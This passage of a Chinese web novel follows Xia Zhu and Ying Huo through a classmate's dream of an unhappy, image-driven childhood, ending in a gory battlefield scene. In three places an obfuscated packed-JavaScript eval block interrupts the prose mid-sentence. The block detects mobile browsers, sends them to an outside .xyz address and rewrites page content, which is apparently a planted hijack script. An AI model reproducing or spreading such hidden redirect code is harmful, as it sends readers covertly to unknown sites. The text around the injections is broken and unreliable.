于是她也来到门边,想伸手在叶理眼前晃晃,确认其他人是真的看不见自己,可是她刚蹲到叶理身边,就望见一双眼泪汪汪的眼睛。 小姑娘眼眶红红,眼窝里包藏了两汪水球,可她死死抿着嘴唇,眼泪就是掉不下来。 可怜巴巴的,夏烛忍不住想,贪玩回家难不成是要挨打吗?看把孩子吓得,她试图去帮她揩掉泪珠。 门缝里漏出咿咿呀呀的儿歌,电流声滋滋地唱着什么“大风车。”像叶理这么大的时候,夏烛还没看过电视,所以不知道这具体是哪一个儿童节目。 她想,看来叶理的爸爸妈妈也不是很生气嘛,电视都已经提前调好了孩子爱看的频道。 但是很快,房间里就传来了另一个小孩跟着电视唱歌的声音,听上去年龄也许和叶理差不多,或者还要更小一些。 “我们粲粲唱得这么好听,叫爸爸给我们报一个兴趣班,将来去舞台上当明星好不好呀?”一个温柔的女声响起。 “小绾别这样,这种事情还是得看孩子自己的意愿,再说了,爸爸妈妈并不希望粲粲一定得什么都会,我们粲粲,只需要开开心心长大就好!”说话的应该就是小女孩的爸爸,他似乎将女儿抱了起来,在怀里颠来颠去,小孩子咯咯咯地笑个不停,笑声夹杂着歌声飘出了门。 夏烛有些搞不清楚情况,她没听说过叶理还有一个妹妹,正在思考这个其乐融融的家到底和小叶理有什么关系,扎着两个小辫,双手紧紧攥成拳头的小姑娘,一抹眼睛转头就跑,噔噔噔地一路往下,快到她根本反应不过来。 夏烛茫然地站起来,门外面似乎挂着什么东西往她头上扫了一下,她拍拍头顶,眼睛停在了防盗门上的一捆艾草菖蒲。 端午节。 她似乎懂了什么,下意识看向身后的嬴惑。 “走吧,魉都跑了,小心追不上。”嬴惑就站在楼梯口,左脚刚刚踩到下一个阶梯,周围所有的景物都开始移形换影。蝉鸣拉长,夏日的阳光暴涨,楼梯口的花窗快速倒退,在变形的空间中被无限复制。 光线刺得眼皮发酸,夏烛忍不住抬起手臂挡在身前,直到响起赢惑的声音,她才放下手臂。 “好了,看来也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16090826|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是你想得那么简单。” 眼前的场景已经变了,不再是老式的居民楼,而是一间没有开灯光线昏暗的舞蹈室。三面镜子照出房间内茫然的两个人,左侧的窗户外正是一场颓靡的落日。 晚风轻轻吹着被夕阳染成橘色的窗帘,光影在木地板上缓缓移动。这间舞蹈室里什么都没有,孤单地让人不敢靠近,只有落日肯施舍温暖的暮光填满整个空间。 窗户旁的阴影里,似乎贴着一些照片,夏烛朝那边走了几步,拨开被风吹来的窗帘。玻璃框中全是那个熟悉的小小的身影,穿着白色的蓬蓬裙,努力踮着脚尖,展开瘦弱的双臂,她神情倔强,即使眼泪已经挂在眼眶中,也努力昂着头像一只不屈的天鹅。 这里是叶理小时候待过的芭蕾舞室。 照片里没有其余孩子的身影,也许家境良好的她拥有一对一的上课权利。虽然不知道为什么突然将他们俩传送到这里,但夏烛猜测,右边那扇门后面也许还有更多的场景。 这些都是叶理的记忆碎片。 如她之前所说,是一场再普通不过的梦境。 而梦不外乎过往记忆的闪烁,恐惧的,眷念的,逃不开的。 出于某种原因,夏烛莫名相信,这场梦只会继续平平淡淡但又带着悲伤的味道,不会有突然跳出来的怪物,也不会有想法设法将他们困在其中的魍魉。 她们想要出梦,只需要找到叶理就行。 到时候…到时候再说吧,何况她的小剑并没有带在身上。 夏烛回过神,嬴惑不知道什么时候走到她身边的窗户面前,两人一冷一暖被光影隔开。她不得不伸手揉揉眼睛,发现自己睡前忘记摘下隐形眼镜,这会儿镜片干涩地卡在眼球表面,稍不注意就会滴下几滴眼泪。 晚风和夕阳杂糅在一起,将他额前的头发吹开,洒上一些细碎的金粒,刻薄的轮廓变得毛绒绒,那双冷冰冰的灰色眼睛也柔和了很多。夏烛偷偷地在心里想,嬴惑漂亮得就像梦境本身,有时候带着不容置疑地侵略性,有时候又脆弱得风一吹就会消散。 她悄悄盯着他的侧脸,从额角到鼻尖再到浅粉色的嘴巴,突然有一些凌乱的碎片式的画面在她脑海里闪过。是清晨,是深灰色的山峰,大雨后的森林和一片迷迷蒙蒙的雾。 那些画面不受控制地钻进她的眼睛,夏烛感到一阵眩晕。 “喂,你怎么了?”冷淡的声音将她从迷障中抽离,胸口处莫名腾出火气,她晃了晃脑袋,匆匆瞥了一眼当事人,然后丢下一句更冷漠的“没什么。”径直往门口走去。 嬴惑不知所措地看着夏烛轻轻晃在后腰附近的发丝,早就想说了,她这身棉质睡衣真是土到爆,毫无审美,看了让人生气,他八十岁的奶奶也不会穿这种毫无线条拖拖沓沓的衣服! 当然了,嬴惑根本没有奶奶。当然了,睡衣只是普通的睡衣。 被夏烛莫名其妙地翻了一个白眼,他都还没发脾气,她倒是先甩起脸来了。 夏烛左手握着门把手,偏过脑袋恶狠狠地盯着嬴惑,“你走不走,我可提醒你,门后面的场景估计又会变化,到时候有什么危险,就别怪我扔下你。” 危险?触发了嬴惑的关键词,他赶紧降下火气追了上去。 72.榴花雨声(三) 五岁的时候,叶理收到过一个八音盒。 不是普通的塑料玩具,而是正宗的黄金镶边珐琅彩盖的古董货。八音盒里单脚站立着一个面容精致的芭蕾女郎,会随着《胡桃夹子》的调子转圈 ,花苞般展开的衣裙在优美的动作中洒下一圈圈钻石仙尘般的光粒。 是妈妈送她的,作为这一年的其中一件生日礼物。 刚收到的时候,叶理还是很喜欢的,毕竟没有小孩不爱亮晶晶的玩具。 她拿回房间在水晶灯下拧动发条,仔仔细细地欣赏八音盒上的每一个细节。灯光下的芭蕾女郎头戴蕾丝发饰,一张圆润可爱的脸上化着同样美丽精致的妆容。樱桃小口上的红脂饱满莹润,葡萄紫的瞳孔里设有精巧的机关,会随着舞蹈转动缓缓眨眼。 叶理孜孜不倦地一遍遍拧动发条,每一次,优雅女郎都会在逐渐平息的音调中停下身姿,脸上的表情却永远一个样。完美、精准,重复,她渐渐开始觉得无趣。 稚子一颗剔透的心,无知单纯和恶意总在一念之差。小小的叶理突然看不惯那芭蕾女郎永远一尘不染美好精致的模样,妄图在她完美优雅的身躯上搞点无关痛痒的破坏。 于是她带着天真的笑向八音盒伸出了手,将那跳舞的女郎硬生生从底座上扣了出来,抓在手里一路跑过长廊,穿过檐下修剪整齐的月季花丛,来到了花房。 打理花房的匠人刚刚浇湿了土壤,带着水珠的花丛下方是土腥味的湿泥。叶理没有犹豫,抓起一把泥巴就糊在女郎的脸上。看那些褐色的污泥抹脏她精致的裙边,遮掩钻石般的光芒,携带小石子的泥渣卡住了她原本可以上下翻动的眼皮。 叶理忍不住咯咯笑起来,在尽兴之后将女郎插在了泥地里,头也不回地离开。 那天夜里,月亮变得十分得近,银色的圆盘就挂在窗边,她忽然从睡梦中惊醒,恍惚间听到了女郎的求救声,于是慌乱地蹬上鞋子跑到花房中,从土里将人偶拔了出来。 她用睡衣的裙摆擦拭着芭蕾女郎脸上的污渍,当她的面容逐渐恢复,叶理恍然,这张美丽的脸是那么像她的妈妈。 同样精致,完美,重复的母亲。 在八岁之前,她的家庭就是所有人心中的典范,父母之间相敬如宾,父亲从不会对她露出一点凶狠的表情,相反,甚至称得上彬彬有礼。 一切都维持着在完美的尺度中,至少表面是这样。 直到很久之后叶理才明白,从小将她培养成知书达理的千金小姐,芭蕾舞,小提琴和马术,外加几门外语。他们乐得看叶理按照理想的模样长大,那是怕出现的任何差错,都会让这个本就摇摇欲坠的家彻底暴露在青天之下,撕开完美的外衣露出里面的不堪。 她的爸爸是本市有名的房地产商人,并且家中世代从商,可以算得上家底深厚。做到他那个位置,应酬晚宴之类多不胜数,可是无论多晚,他都会回家。 递上送给妻子的礼物,再贴心地询问女儿的功课,但叶理从小就聪明伶俐,她敏锐地发现当自己津津有味地讲述今天在学校学到的一首儿歌时,父亲的嘴角虽然保持着相同的弧度,但眼神已经飘向了别的地方,他故作姿态其实根本没有在听。 而妈妈那张贵气美丽的脸总是背景板似地出现在父亲的肩膀后面,尽情欣赏着眼前父慈子孝的一幕,仿佛能从这戏剧性的画面中汲取生命能量。 叶理忽然感到毛骨悚然,她觉得自己的家里有两个像芭蕾女郎一样的假人。 在做假人这方面,如果母亲称第一,天底下不会再有第二个人能与她相提并论。 女人作为完美的妻子,完美的母亲,曾经也是一个完美的女儿。三从四德,相夫教子,贤妻良母,这些放在她身上根本不算什么。 她从来不和丈夫红脸,不询问他晚归的原因,作为富太太却也烧得一手好菜,上得厅堂下得厨房却没有自己的爱好。将丈夫送的名牌包包珠宝首饰整齐摆放在比普通人家的一个客厅还要大的衣橱里,却从来不使用它们,因为她没有社交更没有需要展示炫耀的朋友,当然炫耀可不是什么美德,而淳朴持家往往受人欣赏。那些礼物就像橱窗里的展览品,展览一个丈夫对妻子无限的爱意。 她将永远围着丈夫和女儿团团转,所以也将培养出一个和自己相像的女儿,完美的女儿。并且真诚地为她祈祷,希望在不久的将来也会因为“完美”而得到一个男人长久稳定的爱。 当叶理不想继续上芭蕾课的时候,妈妈就会温柔地蹲下来,轻轻擦掉她脸上因为疼痛而流下的泪水,告诉她:“学完这首曲子,爸爸就会更爱你。” 爱? 第一次听到这个字的时候,叶理努力踮起脚尖,指骨咯咯作响,咬着牙也要做出完美的交织式跳跃,跳啊跳啊,空荡荡的舞室里传来脚掌碰撞发出的啪啪声,直到夕阳铺满地板,汗水和血液变成优秀的徽章。 但是她慢慢发现,光荣的奖章和漂亮的成绩还是吸引不住爸爸飘忽的视线,所以她不再追求妈妈口中的“爱”,甚至对此嗤之以鼻。 她开始反抗,就像将八音盒中的人偶深深插进泥地里那样折磨自己。虽然在妈妈看来那是一种残忍的糟践,即便如此在家庭聚会上妈妈仍旧会温和地告慰旁人,女儿单纯是青春期到了,这很正常。 叶理看着那张再熟悉不过的脸,躲在窗帘后面冷冷发笑,但又忍不住想象,完美的母亲在年少的时候是否也有过正常人的青春期。 直到在某个错误的时间,她偶然打开了潘多拉的魔盒,从老破的门缝里窥见了活人一般的父亲。那是什么呢?那个破旧不堪的家,甚至放在自家阿姨眼中会是凌乱不堪的表现。可三个人彼此重叠的身影却深深刺痛了叶理的眼睛。 她并不明白那间小小的屋子里到底意味着什么,可“家”这个字就是自然而然出现在脑海中。 后来的很长一段时间里,那日午后灼热的太阳都将久久高悬在头顶,清苦浓烈的艾草味道像是挥之不去的幽魂日日夜夜缠绕在她身侧。 又一个只有母女俩的餐桌,陶瓷柄做的调羹太过光滑从她手里溜走掉在了地毯上,她钻到桌子底下想去捡起,却意外在这个刁钻的角度下得到了惊人的发现。母亲那张从出生起就带在脸上的面具竟然出现了一丝微不可察的裂缝。 她躲在逼仄闷热的餐桌下面,心脏像是被一根隐形的丝线牵引。 好吧,她想,都无所谓的,至少得到妈妈的“爱”吧,如果她愿意看见一个完美的叶理,如果这样做她会开心一些,那就如她所愿好了。 从那一天起,她好像突然告别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16096844|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了自己疼痛燥热的青春期,一个完美听话的叶理就此长成,像极了那个站在黄金底座上随着一首没有终点的圆舞曲缓缓跳动的芭蕾女郎,驱动她旋转的不再是发条,而是一根从心口长出的透明牵引线,线的另一端会永远地牢牢地攥在妈妈手里。 一根透明的丝线,让两个完美的人感到前所未有的心安。 小学六年级的时候,叶理在语文课本中看到过一句话。 “鳏寡孤独废疾者皆有所养。”那是她第一次接触到孤独这个词。课本上对孤独的解释,是幼年的时候没父母,老了之后没人赡养。 叶理把那一页带着这行文字的课本撕了下来,塞进嘴里反反复复地嚼,甚至试图咽下去。那种如鲠在喉的难受在长大后的某一天得到了解释。 那段时间,十六七岁,才真正算得上一个正常人的青春期。叶理的妈妈突然开始奉行欧洲淑女的那一套,不让她夏天穿短裙,以及锁骨也不能外露。 尤其是在男人的面前。 于是三十多度的大夏天,叶理需要穿着高领长袖的薄衫和长裤在开足冷气的房间里和大名鼎鼎的男首席学钢琴。 弹得是肖邦还是莫扎特她完全不记得了,只记得手指发烫,面色苍白身体里的水份像是被薄衫上的毛刺吸出,无人可见的衣领底下全是汗水。但从始至终都没人发现异常,直到她在自己家中中暑晕倒。 近乎窒息的感觉让叶理忽然明白了“孤独”两个字的意思,不是没人靠近你,是所有人都在你身边走来走去,却连你快被自己的汗闷死了都看不出来。 至此她学会在自己周围半径的范围内展开某种领域,用轻蔑的眼神和刻薄的话阻止任何人的靠近。这一套很是成功,虽然偶尔坐在角落的时候,眼神也会忍不住贪恋一些别的群体身上散发的温度。 但那只是偶尔,她想,独来独往总比身边都是虚情假意的人好。 当然了,曾经也有人冒冒失失地闯进过她的领地,突兀又尴尬,虽然称不上没礼貌。但当天的场景无论过了多久再想起来,叶理还是忍不住冷笑。 那个呆头呆脑的,叫做夏烛的人,在班级举行的元旦晚会上,在台上其乐融融正表演节目之时,忽然灰扑扑地弓着腰穿过嘻闹的人群,从一个角落千里迢迢的来到另一个角落,将同样灰扑扑的散发着怪味的香包递到她面前。 结结巴巴傻乎乎地问她要不要跟自己一起去吃饭。 叶理盯着那个仿佛携带噩梦的艾草香包,本该是厌恶和恐惧的心里却突然被一种陌生的感觉填满,这股力量来得汹涌却也仓促,以至于她根本来不及学习新的语言和表情去传达感受。 只是下意识地皱起眉头,手指掩在鼻子下方,用鄙夷的语气说道:“臭死了,这是什么穷鬼的味道。” 看着夏烛笨拙迟钝离开的背影,叶理有一瞬间觉得自己似乎做错了什么,指尖发麻的感觉也许叫做后悔。 但亲密的关系离她太远,也离夏烛太远,两个可怜的愣头青在十几岁的年纪里是无论如何也处理不好的。 当她们独自一人在人生海海里漂荡上一些时间,关于自己和关于别人的道理,总有一天会想得明明白白再举重若轻地留在回忆里。 那才是冲动的,热烈的,傲慢又笨拙的青春。 73.榴花雨声(四) 从舞蹈室出来,两人一前一后穿过一间种满月季的花房,犹带朝露的花丛底下埋着密密麻麻的精致人偶。某个房间里,巨大的黑白琴键铺成地面,踩上去会发出嘶哑的琴音。另一个房间完全是个掐丝珐琅的古董八音盒,路过房间中央,这里原本应该有一个随着舞曲旋转的跳舞女郎,如今却只剩下残留的痕迹。 移步换景,记忆的碎片像是一卷过度曝光的胶卷,在这间取名为“梦境”的放映室,隐秘地重复播放。只是电影的主人公却在逃避为她私人订制的场景,不知道躲去了哪个角落。 夏烛明显感觉到了身后的人越来越不耐烦,“有危险”只能暂时唬住他,经过的场景越多,那股烦躁的气息就越浓。 “我说过的,你可以找个地方,等我解决问题自然就能出梦。”她不得不停下来再次转告嬴惑,要知道他头顶冒出来的情绪快要变成某种具体的东西,一直围在夏烛头顶,好像群烦人的苍蝇。 “别啰嗦了,抓紧点好吗?”他依旧是那副表情,显然不肯领情。 夏烛不明白,他既然不愿意在这些细碎的场景里转来转去,又为什么非得跟在身后,好像必须得看到她将某种利器插进幼年叶理的胸口才肯罢休。 她轻轻叹了口气,推开了身后的门,铺天盖地细密的雨声顷刻将两人包围其中。天地之间一片朦胧,潮湿的地气蒸腾而上曛得人眼皮发酸,靛青的夜色中所有的一切都被夏雨冲刷得发亮,亮晶晶地闪烁在雨幕后,只有一地烂红的榴花比水色动人。 那个小小的身影就躲在远处的一丛石榴树下,早起扎好的小辫已经松散,一颗毛绒绒的头深深埋进双膝里,踩在水面上的小皮鞋早就湿透。 她的哭声悲伤又痛苦,像是不用再隐忍,势要呛破喉咙,鼻涕和眼泪比漫天的大雨还要汹涌,夏烛忍不住想,这么小的身体是怎么发出如此撕心裂肺的声音。 她还只是一个八岁的小孩,就好像已经遇到了这世上最伤心的事。 身后的门消失不见,变成了另一棵遮雨的大树挡在两人头顶。主人公被他们找到,梦境就不再分散,变得完整。 大雨落下,一个泣不成声的小孩,和两个误入其中的局外人。 夏烛还没想好怎么面对这样的叶理,以及如何结束梦境的方式,嬴惑却突然开口。 他说:“我其实一直不明白魍魉梦产生的原因,不懂这些人类执念的东西。” 他没有回避夏烛望过来的眼神,而是冷冷地看了回去。 “人这种生物,不都只有一个死亡的结局吗?那为什么要费这么大的劲纠结一些已经失去,尚未可知或者根本不属于自己的东西呢?” “至少在我看来,你的这个…同学?她甚至没有遇到什么性命攸关的大事,竟然只是为了另一个人的背叛和伤害而执念至深,结出魍魉梦,你不觉得这简直不可思议吗?” 夏烛紧紧盯着赢惑的脸,妄图从他脸上看出一些讥诮或者轻蔑,但这些都没有,他是真的因为不解从而真诚发问。这个发现让夏烛突然觉得身体发冷,她把视线从嬴惑的脸上移开,盯着地面上两人中间的一滩积水,一些红色的已经烂掉的花瓣浸泡在其中。 梦境的成因?她突然意识到这确实是一个值得深究的问题,天生相是神赐的能力,在不同人体内会感应出不同的相力,最初的那几位人神她们也曾是人类,为什么天生相能就此寄居在血脉之中代代传承神力,却在别的地方变成了吸引欲念的因果呢? 一切的开始,真的是因为主神选中她们为其找回散落人间的天生相吗? 还有,再次抬起头,树影下的嬴惑还在期待着她的回复,可是夏烛却无法说出任何的语言。她一直没有从他提出的这个角度去思考过魍魉梦境,因为夏烛是一个彻头彻尾的“人类”,嬴惑的问题让她浑身难受,那种违和感就像一个天生就是蓝绿色盲的人,从来都认为自己眼中的天空就是蓝色,直到有人告诉他你其实是个色盲,你所见的蓝色其实是绿色,这种认知上冲突在没有提出问题之前是根本不存在的。 而现在,揭开冲突面纱的人就是嬴惑。 他能发自内心地对“人类执欲”感到不解,让夏烛不得不怀疑嬴惑到底是不是和自己一样的人,或者换句话说,他到底是不是一个人呢。 她重新打量着嬴惑忍不住问他:“所以呢?” 嬴惑没有说话,雨气浸透了他的眉眼,比起往常,这张脸多了一些出尘的美丽,他的喉结上下滚动,浅灰的虹膜边缘染上一层靛青的夜色闪烁出隐隐的微光,夏烛察觉到他的嘴角甚至在不受控制地抽动。 “所以?”嬴惑的声音被潮湿的媒介侵扰,“所以我想问你,真诚地问你。把有限的生命时间花费在产生各种欲望执念上,这样一个脆弱不堪,本质恶劣的文明,真的有存在的必要吗?” 他死死盯着夏烛,甚至身体不自觉地靠近了些,期待从她脸上看出任何的破绽,可眼前之人只是低垂着眼睛,似乎正在思考该如何回答他。 时间正在快速流逝仿佛过了几个世纪那么漫长,周围的一切好像都被某种力量按下了暂停键,雨球静止在半空中,悲伤的小姑娘也止住了身体的颤抖。 夏烛终于抬起眼,认真地回答嬴惑。 “你说的没错。”她说,“我们的时间有限,生命脆弱,要承载痛苦又贪恋一些快乐,但结局始终逃不开走向消亡。我以前也不明白人生的意义,但直到刚才,你问出这个问题之后,我突然就明白了。” “人也许有意或者无意地伤害别人,然后产生或多或少的愧疚。” “无所事事被社会的框架束缚其中却爱幻想成为世界的中心。” “欲望强烈野心勃勃绝不甘于现状。” “自私残忍,视其他生命如同草芥。” “但是同样的,人类还拥有深刻的同理心,反抗的精神,无条件的爱。科学和艺术的脚步从来没有停止,千千万万年,沧海桑田。战争,灾难,疾病,这个文明会一次次展现出她惊人的恢复力。”她第一次一口气说这么长的话,语气从兴奋变得越来越坚定。 “可你提到存在的必要?存在本身就是先于意义的。你没有发现吗?问出这个问题的同时其实已经得到答案了。” 她在嬴惑不可置信的怀疑目光中一字一顿:“这个文明最珍贵的能力就是反思自身的存在和价值。并且千万年没有停止。” 这些话对于嬴惑就像是什么可怕的妖言,他从那种咄咄逼人退回到了莫名孱弱的状态,夏烛忽然觉得身心愉悦,她故意往前走了几步,离嬴惑只有半米的距离,直到可以闻到他身上那股清透的味道才缓缓开口:“你其实害怕得不行对吧?害怕什么呢?难道是怕自己也是一个’人’?” “我才不是…!”他下意识反驳出口,但立马被自己强行噎住。 夏烛眉眼弯弯地后退,拉开两人的距离。 “好了,不管你在害怕什么,我现在要去解决问题了。”说完就踏进了雨里。 雨丝淅淅沥沥,哭声又重新传来,夏烛的离开让天平再次倾斜,现在只剩嬴惑一个人,可怜巴巴独自一人站在树下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102008|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏烛冒着雨走到叶理面前,她其实还没想好怎么解决问题,但叶理缩成小小的一团蹲在这里,叫人看了实在不忍心。 石榴花落了一地,被雨水浸泡被路人踩踏流出艳红的汁液,夏烛盯着小女孩的发旋思考接下来该怎么办,却猝不及防地对上她红肿的眼睛。 “你是谁?”小孩声线稚嫩却充满警惕。 夏烛微张着嘴,没想到她居然能看见自己了。 “我是...我是你的朋友。” 叶理显然有些惊讶,一颗豆大的泪珠堪堪挂在眼眶落不下来,她对自己拥有朋友而意外。 “可我不认识你。” “我是你长大后的朋友。” “长大?”小孩子哪能抵住未来的诱惑,她用手背重重地抹过自己的眼睛,柔嫩的皮肤变得更红了,“我长大后,是什么样子?” 夏烛仔细想了想,蹲了下来,尽量让自己的视线和女孩保持平行,然后郑重其事地告诉她。 “你还是你。” 她的话让叶理有些听不明白,细细的眉毛皱了起来。 “你今天是不是很难过?” 叶理想到什么,眼泪又充满了眼眶。 “但我还是想告诉你,不管难过还是开心,你还是你。未来的叶理会勇敢坚强的和自己站在一起,所有事情的发生都不会改变这个事实的,这个世界上只有你,永远并且坚定地拥有自己。” 明天或许也不会特别好,但是一天两天,时间还有那么长,叶理还是叶理。什么都会变又什么都不变,伤心难过,摔倒了会痛,一个人在家会害怕,但这些都会变成她今后的勇气。 “你的意思是,我一直都不是孤单的?” 夏烛坚定地点点头,她真是个聪明的孩子,能听懂自己的意思。 “所以,没有了爸爸的爱,还会拥有自己的爱。” “谁的爱都会消失,自己爱自己不会消失。”夏烛用手指轻轻勾掉了她下巴上的泪水,“我认识的那个勇敢优秀,又漂亮的叶理会在不远的将来等着你。不过这不代表别人对你的伤害就是对的,现在,你可以因为难过继续大声地哭一场。” “有我在这里陪着你,如果你需要一个拥抱的话。” 叶理呆呆地盯着夏烛,嘴角越抿越紧,眼睛越睁越大,最后一张小脸变得皱巴巴的,眼泪像开闸的水龙头一齐喷涌出来。 她哇得一声张大嘴巴,扑进了夏烛的怀里。 温暖的怀抱中有一股淡淡的青草味道,虽然有些熟悉,但她并不讨厌。 夏烛轻轻拍着女孩的后背,感受她小小的身体正在颤抖。一下又一下,直到怀里的重量慢慢变轻,哭声越来越小,周围的雨似乎停了,叶理的□□越来越淡,最后变成洁白的光粒消散在湿润的空气中。 一颗绿色的石头留在了夏烛的掌心。 叶理果然是个出色优秀的人,所有的困难都可以靠自己解决,夏烛忍不住想。 过了很久,她才捏紧石头站了起来,回头发现嬴惑还在树下遥遥看着自己。他苍白的脸,让夏烛有些不好意思,反思自己刚刚是不是说得太过了。 两人隔着一地榴花沉默又尴尬地对视。 嬴惑忽然动了动,视线缓缓落到她握着天生相石的手心,夏烛也顺势看向自己,她忽然睁大眼睛,抬起头环视了一圈周围的景象。 雨是停了,但是石榴树还在夜风中招摇,雨珠从叶尖滴落到地面的水坑,枝头的花瓣依旧艳红。 她们没有回到现实。 梦境居然,还未结束。 74.榴花雨声(1) “为什么?”夏烛看着自己的手自言自语。 天生相石已经被析出,就躺在那里,她能摸到属于石头冰凉的触感和它硌手的棱角。但是周围的一切仍在慢悠悠地继续着。 她下意识走到嬴惑身边,“你知道这是为什么…”问题戛然而止,她注意到嬴惑的脸上露出了一种空洞的表情,好像他的身体还在这里,灵魂已经游离到千里之外了。这个发现让夏烛喉咙发紧,她挠挠头,后悔自己不应该说那么重的话,明明知道这个人有多脆弱,他现在看起来就像一朵风干的花,轻轻碰一下,伶仃的花瓣就会扑簌簌化作齑粉。 “好吧…我…这个梦好像还没结束,我去那边看看情况…”话刚说完夏烛正想转身,手腕却突然被拉住。 “别走!别走…” 冰凉的指节箍住她的手腕,力道很大但是有明显的颤抖,他的皮肤很白,隐隐透露出底下青紫色的血管,精细的就像假人一般。夏烛顺着手看向他的脸,嬴惑似乎回过神来,立马松开了手,匆匆瞥了一眼夏烛。尽管他在努力维持镇定,但眼神中的恍惚已经出卖了他。 嬴惑在害怕。 “我的意思是…既然梦境没有结束,一定是出了什么问题,最好不要单独行动…”他盯着斜前方的地面,手指不自觉地转着那枚红色的戒指。 “好,那就一起行动。”也许是出于弥补的心态,她说话的语气变得十分轻柔,轻柔的有些刻意,所以连忙在末尾加上了几声干巴巴的咳嗽。 嬴惑的样子不像是被她几句话给打击到了那么简单,他看上去类似惊惧发作,瞳孔骤缩,眼神飘忽,但说实话他身上不自觉暴露出的脆弱感让夏烛认为他变得更美丽了,但在这种情况下对他人样貌评头论足有种趁人之危的狡黠,所以夏烛故意将视线挪到一边,一朵被雨水摧残的榴花上。 因此,她没有注意到嬴惑脚下的那摊积水正在不动声色地转变质地。从清澈分散慢慢聚集成粘稠的泥状,并且面积越来越大,等她意识到有什么不对的时候,他脚下的土地已经变成了一滩浑浊的漩涡。 漩涡瞬间下沉,嬴惑睁大眼睛的同时脚下一空失去重心跌进了漩涡制造的深坑之中。 一切发生的太过迅速,夏烛还没看清情形身体就自然而然地扑了上去,一把抓住嬴惑苍白的手,触碰到他肌肤的同时,右手传来剧烈的疼痛,仿佛肌肉正在被撕裂,她怀疑自己手已经脱臼了,即便如此,她仍然收紧五指。 一股仿佛来自地狱的阴风从深渊中吹了出来,寒冷的气息几乎在她的眉毛上结了一层白霜,暗不见底的漩涡似乎有摄人心魄的能力,夏烛只是回望了一眼,一种强烈的孤寂就涌上心尖。 “不要松手…求你…”她听到嬴惑颤抖的声音,被他眼里湿润的带着祈求的光刺了一下眼睛。 开什么玩笑,她绝不会松手的。 夏烛想告诉嬴惑这个事实,好让他看起来不那么孤单害怕,可是身体机能只能维持自己紧紧握着他的手,除此之外什么也做不了。尽管治愈的能力正在手臂上起着作用,但是夏烛周围没有任何可以借力的东西,她正凭借自己衣服面料和地面的摩擦力来维持此刻的微妙平衡,甚至连眨眼也小心翼翼,生怕天边吹来的一丝风都会让两人瞬间坠入深渊。 但她惊恐的发现,嬴惑的重量正在增加,像是黑暗底下伸出了无数双手势要将两人一起拖入。她的体重和勉力支撑的摩擦力无法再维持平衡了,再过几秒钟,两个人都会跌进黑洞中。 嬴惑脸上的表情证明了这一点,他苍白又绝望,紧紧反握住夏烛的手也隐隐有了松动,大概是断定她会松开他的,以保两人中至少有一个能活着出梦吧。 夏烛很讨厌看见他露出这样的表情,于是更加用力地抓住他的手腕,以至于带着报复的心理让他透明的皮肤上出现了红色的瘢淤。 下一秒,身下的重量激增,两个人不受控制地被拉入了黑洞中。 静,静到让人怀疑自己是否还活着。 没有下坠的感觉,也无风声呼啸,眼前一片虚无甚至连黑色都不能算。唯一能让夏烛知道自己还存在于世界上的,是嬴惑紧紧握住她的手。 不知道具体过去了多少时间,夏烛听到一些微弱的啜泣,当她意识到是嬴惑发出的声音后,视线也一点点开始恢复。 残风卷过一望无际的原野,带来甜腻的气息,她觉得自己的脸上似乎沾染了什么东西,于是用手指抹掉一些。 是红色的,粘稠的血沫。 随着风吹来,覆盖在她的皮肤表面。 嬴惑早就松开了她的手,跪坐在身边的泥地里。土壤暗红沾湿了他的膝盖,夏烛想往他身边挪动一点,手指插进泥土里却被深深地吸住,她费了很大的力气抽出手却带起了一截属于人类的指骨。 她怔怔地盯着手心,才发现那些暗红色的根本不是土壤,而是各种细碎的人体器官肌肉组织混杂在一起。而堆积量何其之大,竟然造就了一整片原野。她这才注意到,远处尸骸成山,殷红的落日之下,平原上插满了断裂的战旗。 这里处处透露着一场战争的余威。 而战场上没有完整的尸体,只有碎块。被巨斧劈开的半截身子还在地上抽搐,肠子像滑腻的蛇拖出老远,一个年轻的战士就倒在嬴惑身侧,半边脸被削掉了,露出森白的颧骨和牙床,手里还死死攥着断掉的长戈柄。 夏烛试图站起来,这样能将所有的东西纳入眼底,以便她快速分析她们到底在什么地方。可当她正想撑住地面的时候,忽然想到了什么至关重要的事情,让她又重新跌坐回嬴惑身边。 他们真正应该思考的不是身处某个时代或者某场战争。 而是把问题的关键放在“这是谁的梦”。 没错,这里仍然是一场梦,她还没有忘记,两人并没有从叶理的梦中出去。 那么这是否也是叶理的另一场梦呢?她下意识地看向嬴惑,端详着他脆弱的颤抖。 也许叶理在睡前看了一部血腥的电影也说不定。 她只能这么告诉自己。 